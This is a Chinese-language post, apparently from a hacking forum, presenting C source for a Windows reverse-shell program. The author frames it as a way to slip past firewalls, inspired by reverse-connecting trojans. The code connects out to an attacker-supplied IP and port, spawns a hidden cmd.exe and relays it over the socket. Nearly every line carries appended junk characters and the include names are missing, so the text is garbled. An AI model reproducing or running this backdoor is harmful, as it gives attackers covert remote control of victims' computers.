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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l 8n#sGA%  
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/* ============================== hP,SvN#!2  
Rebound port in Windows NT [K x_%Le  
By wind,2006/7 0}-&v+  
===============================*/ 0g~WM  
#include ^=}~  
#include E.t9F3  
{ SJ=|L6  
#pragma comment(lib,"wsock32.lib") WSKG8JT^|  
,r+=>vre  
void OutputShell(); kjJ\7x6M  
SOCKET sClient; rN8 ZQiJC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '9]%#^[Q  
i8+kc_8#d  
void main(int argc,char **argv) u3w `(3{ <  
{ :/K 'P`JaL  
WSADATA stWsaData; Ds$FO}KD{  
int nRet; }|&M@Up  
SOCKADDR_IN stSaiClient,stSaiServer; Y?R;Y:u3Z  
p;U[cGHC  
if(argc != 3) ycIT=AFYqd  
{ @| qnD  
printf("Useage:\n\rRebound DestIP DestPort\n"); Y)?4OB=n  
return; 0q>f x  
} ;Hv#SRSz  
/<Zy-+3  
WSAStartup(MAKEWORD(2,2),&stWsaData); ?7Y X @x  
!634 8nU:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v93+<@Z  
-|:7<$2#I  
stSaiClient.sin_family = AF_INET; <~<I K=n  
stSaiClient.sin_port = htons(0); aG?'F`UQ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0&$e:O'v  
b8feo'4Z   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #AFr@n  
{ 0+m"eGwTm  
printf("Bind Socket Failed!\n"); (<=qW_iW  
return; lD _  u  
} gU0}.b  
*Iyv${  
stSaiServer.sin_family = AF_INET; Oh5(8.<y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =3}@\f#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {y)s85:t  
Bm;{dO  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XGk8Ki3w  
{ ^4`q%_vm  
printf("Connect Error!"); EAqTXB@XU  
return; tlA4oVII  
} N"2P&Ho]  
OutputShell(); hm&{l|u{RU  
} kS8srT /H  
1Hy  
void OutputShell() tt6ElP|D  
{ 2sk^A ly  
char szBuff[1024]; Cx} Yp-  
SECURITY_ATTRIBUTES stSecurityAttributes; b=Zg1SqV  
OSVERSIONINFO stOsversionInfo; 4qrPAt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kZWc(LwA  
STARTUPINFO stStartupInfo; H7H'0C  
char *szShell; Gg{@]9  
PROCESS_INFORMATION stProcessInformation; 4;7<)&#h  
unsigned long lBytesRead; >8#(GXnSt  
o.Mb~8Yu  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ec)G~?FH  
I,l%6oPa  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^{zwIH2I]  
stSecurityAttributes.lpSecurityDescriptor = 0; iS hB ^  
stSecurityAttributes.bInheritHandle = TRUE; 0/#XUX 4  
"mSDL:$  
O_FT@bo\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .KIAeCvl\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  #Z"N\49  
@R9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0v,DQJ?w8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 44 o5I:  
stStartupInfo.wShowWindow = SW_HIDE; I`5F& 8J{  
stStartupInfo.hStdInput = hReadPipe; L`V6\Ix(I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L>).o%(R  
i/, G=yA  
GetVersionEx(&stOsversionInfo); !-|&  
 d9R0P2  
switch(stOsversionInfo.dwPlatformId) yaa+j8s]  
{ P(VQD>G  
case 1: >6@*%LM  
szShell = "command.com"; "a?k #!E  
break; 6T;C+Y$  
default: lF 8B+  
szShell = "cmd.exe"; *$1*\oCtz  
break; a' .o  
} 5lxC**NA  
<(>v|5K0]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'lHtz ~[  
ahhVl=9/ao  
send(sClient,szMsg,77,0); ) Z0  
while(1) <T+Pw7X   
{ %_@8f|# ,M  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0;!aO.l]K  
if(lBytesRead) }u5 Mexs  
{ H_o<!YxK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "sUe:F;  
send(sClient,szBuff,lBytesRead,0); h}g _;k5R  
} n?YGX W/  
else $*G]6s  
{ $_S^Aw?  
lBytesRead=recv(sClient,szBuff,1024,0); sog?Mvoq  
if(lBytesRead<=0) break; 4:nmo@K &~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fdck/|`t  
} {1#5\t>9yD  
} qV/"30,K  
AZI%KM[  
return; '"GdO;}&  
}
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